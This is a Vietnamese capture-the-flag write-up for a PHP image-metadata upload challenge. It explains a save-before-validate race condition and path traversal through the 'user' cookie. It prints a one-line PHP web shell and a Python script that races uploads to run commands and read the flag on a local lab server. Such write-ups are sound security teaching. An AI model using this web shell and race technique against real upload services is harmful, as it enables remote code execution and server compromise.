Web cho mình upload 1 file ảnh định dạng jpg
lên và sẽ hiển thị ra metadata của bức ảnh đó
Ở đây mình đã upload bức ảnh có tên là ocean.jpeg
.
Phân tích
<?phperror_reporting(0);
setcookie("user", "BKSEC_guest", time() + (86400 * 30), "/"); // Cookie will be valid for 30 days
if (isset($_FILES) && !empty($_FILES)) { $uploadpath = "/var/tmp/"; $error = "";
$timestamp = time();
$userValue = $_COOKIE['user']; $target_file = $uploadpath . $userValue . "_" . $timestamp . "_" . $_FILES["image"]["name"];
move_uploaded_file($_FILES["image"]["tmp_name"], $target_file);
if ($_FILES["image"]["size"] > 1048576) { $error .= '<p class="h5 text-danger">Maximum file size is 1MB.</p>'; } elseif ($_FILES["image"]["type"] !== "image/jpeg") { $error .= '<p class="h5 text-danger">Only JPG files are allowed.</p>'; } else { $exif = exif_read_data($target_file, 0, true);
if ($exif === false) { $error .= '<p class="h5 text-danger">No metadata found.</p>'; } else { $metadata = '<table class="table table-striped">'; foreach ($exif as $key => $section) { $metadata .= '<thead><tr><th colspan="2" class="text-center">' . $key . "</th></tr></thead><tbody>"; foreach ($section as $name => $value) { $metadata .= "<tr><td>" . $name . "</td><td>" . $value . "</td></tr>"; } $metadata .= "</tbody>"; } $metadata .= "</table>"; } }}?><!DOCTYPE html><!-- Modified from https://getbootstrap.com/docs/5.3/examples/checkout --><html lang="en" data-bs-theme="auto">
<head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>BKSEC Metadata checker</title> <link href="assets/dist/css/bootstrap.min.css" rel="stylesheet"> <link href="assets/dist/css/checkout.css" rel="stylesheet"> <link rel="icon" href="assets/images/logo.png" type="image/png"></head>
<body class="bg-body-tertiary">
<div class="container"> <main> <div class="py-5 text-center"> <a href="/"><img class="d-block mx-auto mb-4" src="assets/images/logo.png" alt="" width="72"></a> <h2>BKSEC Metadata checker</h2> <p class="lead">Only jpg files are supported and maximum file size is 1MB.</p> </div> <form action="/index.php" method="post" enctype="multipart/form-data"> <label class="h5 form-label">Upload your image</label> <input class="form-control form-control-lg my-4" name="image" id="formFileLg" type="file" required/> <div class="col text-center"> <button class="btn btn-primary btn-lg" type="submit">Upload</button> </div> </form> <?php // I want to show a loading effect within 1.5s here but don't know how to use javascript sleep(1.5); // This might be okay..... I think so // My teammates will help me fix it later, I hope they don't forget that ........ echo $error; echo $metadata; unlink($target_file); ?> </main>
<footer class="my-5 pt-5 text-body-secondary text-center text-small"> <p class="mb-1">© 2023 CLB An Toàn Thông Tin - BKHN</p> </footer> </div> <script src="assets/dist/js/bootstrap.bundle.min.js"></script></body></html>
Ý tưởng của bài này lấy từ post về race condition của vnpt sec.
Ok quay lại phân tích source nào. Cách hoạt động của web này là:
-
Upload file
-
Đổi tên file
-
Lưu file
-
Check đủ thứ
-
Hiển thị kết quả
-
Xoá fille
Có thể thấy lỗi logic cực kì nghiêm trọng ở đây, thay vì check trước rồi mới lưu thì lại lưu rồi check rồi mới xoá. Đã thế không xoá ngay lúc check định dạng file mà phải chờ 1.5s sau khi kiểm tra hết mọi thứ rồi mới check. Đây chính là thứ dẫn tới Race condition.
Mình có thể up file php lên và gọi đến nó để có thể thực thi code bẩn ngay trước khi nó bị xoá khỏi server.
NHƯNG
File được up lên lại ở /var/tmp/
nơi user không thể với tới =(( Vậy thì phải tìm cách chuyển file này sang 1 dir khác mà được public ra ngoài internet. Ở đây mình sẽ chọn /var/www/html/assets/images/
Path traversal
Để làm được điều này thì mình phải thay đổi được tên của file. Thay vì BKSEC_guest_<timestamp>_<tên>.jpeg
sẽ phải là ../www/html/assets/images/_<timestamp>_<tên>.jpeg
Điều này có thể dễ thực hiện bằng cách đổi giá trị của cookie user
thành ../www/html/assets/images/
Race
Ok vậy vấn đề về việc up file đến public folder đã xong. Và nhiệm vụ còn lại là thực hiện race mà thôi.
Tuy nhiên với mỗi lần file up lên thì server sẽ gắn timestamp vào tên file. Như ý tưởng từ bài post của VPNT sec ở trên. Chúng ta có thể thực hiện race bằng cách up liên tục và đồng thời gọi 1 file có timestamp mà mình đoán trước sẽ xuất hiện trong tương lai để gọi tới.
VD: mình up file lên và thời điểm 1691546583
thì mình sẽ liên tục up và gọi đến file 1691546586
(sau thời điểm up 3s).
Exploit
Kết nối mọi thứ lại với nhau, mình sử dụng script này
<?php system($_REQUEST['cmd']); ?>
import timeimport requestsfrom urllib.parse import quotefrom multiprocessing.dummy import Pool as ThreadPool
current_timestamp = int(time.time())print("Current timestamp: ", current_timestamp)new_timestamp = current_timestamp + 3print("New timestamp:", new_timestamp)
proxies = {"http": "127.0.0.1:8080", "https": "127.0.0.1:8080"}
file_name = "a.php"cmd = ""
download_path = f"assets/images/_{new_timestamp}_{file_name}?cmd={quote(cmd)}"download_url_with_timestamp = f"http://127.0.0.1/{download_path}"
cookie = {"user": "../www/html/assets/images/"}
def get(i): while True: with open(file_name, "rb") as file: response = requests.post("http://127.0.0.1/index.php", files={"image": file}, proxies=proxies, cookies=cookie)
response = requests.get(download_url_with_timestamp, proxies=proxies) if "BKSEC" in response.text: print("FLAG FOUND!") print(response.text) break
pool = ThreadPool(10)result = pool.map_async(get, range(20)).get(6)
Script trên sẽ liên tục up file độc hại a.php
lên và liên tục gọi đến file kèm command mình muốn thực thi ở phía sau. Set proxy 127.0.0.1:8080
để có thể xem các request trên burpsuite. Nếu không thành công thì có thể nới rộng thời gian chạy của script bằng cách tăng thời gian khác biệt giữa thời điểm bắt đầu up file và file ước lượng sẽ có ở tương lai ở dòng 8 và tăng thời gian chạy của script ở dòng 34.
Vì Dockerfile cho chúng ta biết vị trí của flag là /flag.txt
nên chúng ta có thể cat luôn file này thay vì phải đi tìm flag ở đâu. Khi chạy script trên thu được kết quả:
Nếu set proxy thì có thể thấy request burpsuite như thế này: